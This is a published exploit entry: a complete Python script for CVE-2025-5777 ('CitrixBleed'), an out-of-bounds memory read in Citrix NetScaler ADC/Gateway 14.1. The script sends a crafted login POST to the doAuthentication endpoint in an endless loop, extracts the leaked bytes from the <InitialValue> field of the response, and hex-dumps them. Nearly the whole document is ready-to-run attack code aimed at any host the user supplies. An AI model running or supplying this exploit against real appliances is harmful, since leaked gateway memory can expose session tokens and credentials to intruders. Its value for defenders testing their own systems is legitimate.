Citrix NetScaler ADC/Gateway 14.1 – Memory Disclosure
# Exploit Title: Citrix NetScaler ADC/Gateway 14.1 - Memory Disclosure # Exploit Author: Yesith Alvarez # Vendor Homepage: hhttps://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX693420 # CVE: CVE-2025-5777 # Link: https://github.com/yealvarez/CVE/blob/main/CVE-2025-5777/exploit.py import re import sys import warnings import requests from time import sleep from requests.packages.urllib3.exceptions import InsecureRequestWarning def title(): print(r''' ______ _______ ____ ___ ____ ____ ____ _____ _____ _____ / ___\ \ / / ____| |___ \ / _ \___ \| ___| | ___|___ |___ |___ | | | \ \ / /| _| _____ __) | | | |__) |___ \ ____|___ \ / / / / / / | |___ \ V / | |__|_____/ __/| |_| / __/ ___) |_____|__) |/ / / / / / \____| \_/ |_____| |_____|\___/_____|____/ |____//_/ /_/ /_/ [+] CitrixBleed - Memory Disclosure (Out-of-Bounds Read) [+] Author: Yesith Alvarez [+] Github: https://github.com/yealvarez [+] Linkedin: https://www.linkedin.com/in/pentester-ethicalhacker/ [+] Code improvements: https://github.com/yealvarez/CVE/blob/main/CVE-2025-5777/exploit.py ''') def print_hex(data: bytes): for i in range(0, len(data), 16): chunk = data[i:i+16] hex_part = " ".join(f"{b:02X}" for b in chunk) ascii_part = "".join(chr(b) if 32 <= b <= 126 else "." for b in chunk) print("{:08X}".format(i) + " " + "{:<47}".format(hex_part) + " " + ascii_part) def extraction(blob: bytes) -> bytes | None: OpenInitialValue = "<InitialValue>".encode("utf-8") closenitialValue = "</InitialValue>".encode("utf-8") matched = "(.*?)".encode("utf-8") extract = re.compile(re.escape(OpenInitialValue) + matched + re.escape(closenitialValue),flags=re.DOTALL | re.IGNORECASE) m = extract.search(blob) return None if m is None else m.group(1) def exploit(target: str): url = "https://"+target+"/p/u/doAuthentication.do" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" } try: resp = requests.post( url, data="login".encode("utf-8"), headers=headers, timeout=15, verify=False, ) resp.raise_for_status() except Exception as e: print("["+target+"] Error No Vulnerable: " + str(e)) return binary = extraction(resp.content) if binary is None: print("["+target+"] Connection Error ") return print("\n[+] Captured "+str(len(binary))+" bytes from the Target ["+target+"]:\n") print_hex(binary) if __name__ == '__main__': warnings.simplefilter("ignore", InsecureRequestWarning) title() if len(sys.argv) < 2: print('[+] USAGE: python3'+sys.argv[0]+' <target.host>\n') print('[+] Example: python3'+sys.argv[0]+' 10.10.10.10\n') sys.exit(0) else: target = sys.argv[1] try: while True: exploit(target) except KeyboardInterrupt: print("\n[+] Stopped by user.") |